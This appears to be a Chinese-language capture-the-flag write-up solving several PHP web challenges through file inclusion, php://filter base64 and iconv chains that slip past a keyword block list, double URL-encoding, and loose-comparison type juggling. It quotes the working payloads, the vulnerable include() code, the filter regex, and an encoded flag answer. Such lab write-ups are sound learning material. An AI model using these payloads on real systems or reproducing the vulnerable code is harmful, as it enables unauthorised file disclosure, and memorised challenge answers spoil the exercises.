fileinclude
可以看到正常回顯里面顯示lan參數有cookie值表示為language
然后進行一個判斷,如果參數不是等于英語,就加上.php,那我們就可以在前面進行注入一個參數,即flag,
payload:COOKIE:language=flag
發現還是無回顯到flag.php里
可能存在的文件讀取限制或過濾機制
利用 php://filter 和 language Cookie 組合,通過指定convert.base64 - encode,可以將讀取到的文件內容進行 Base64 編碼
Payload:Cookie: language=php://filter/convert.base64-encode/resource=flag
緣由:因為服務器可能只檢查直接的文件路徑訪問,而沒有考慮到經過編碼轉換的情況。
得到回顯值為PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezhmYzdhY2U0MzE0OTg3Mjk0ZWZiMTFmMDM4ZDM0MTM3fSI7DQo/Pg==
解碼可得
file_include
<?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>當使用 convert.iconv.UTF - 8.UCS - 2 過濾器時,文件內容的編碼被改變,原本在 UTF - 8 編碼下能被識別的危險字符或模式,在 UCS - 2 編碼下可能就無法被識別,從而繞過了服務器的過濾機制。
Payload:?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php
check.php的內容為:
<?php if($_GET["filename"])
{
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';if (eval($preg_match_username)){ die("do not hack!"); }
}
題目名稱-文件包含
通過一開始的測試,我們可以發現顯示我們有正常的過濾器,但是參數不對,那我們就開始進行模糊測試,對常見字符進行編碼轉換,發現還是不對,再對編碼格式進行測試,先去搜索php支持的編碼格式字典
放到爆破里去進行爆破,解出
Payload:?filename=php://filter/convert.iconv.BIG-5*.UCS-4*/resource=flag.php
解出該flag
PHP2
參考網上大佬的資料發現,這里要用到index.phps來查看php的源代碼(沒用的知識又增加了)
代碼審計發現他要求id=admin的編碼,所以我們進行編碼后發現還是顯示錯誤,后面發現經過一次編碼,瀏覽器會自動進行一次解碼環節,所以我們要進行二次編碼才可以,得出flag
simple_php
兩者看起來都有些矛盾
但在PHP中,參數a、b,在php中如果有1234abc和數字型作為比較的話,也會默認轉換為數字型做對比
所以Payload:?a=0av&b=4321abb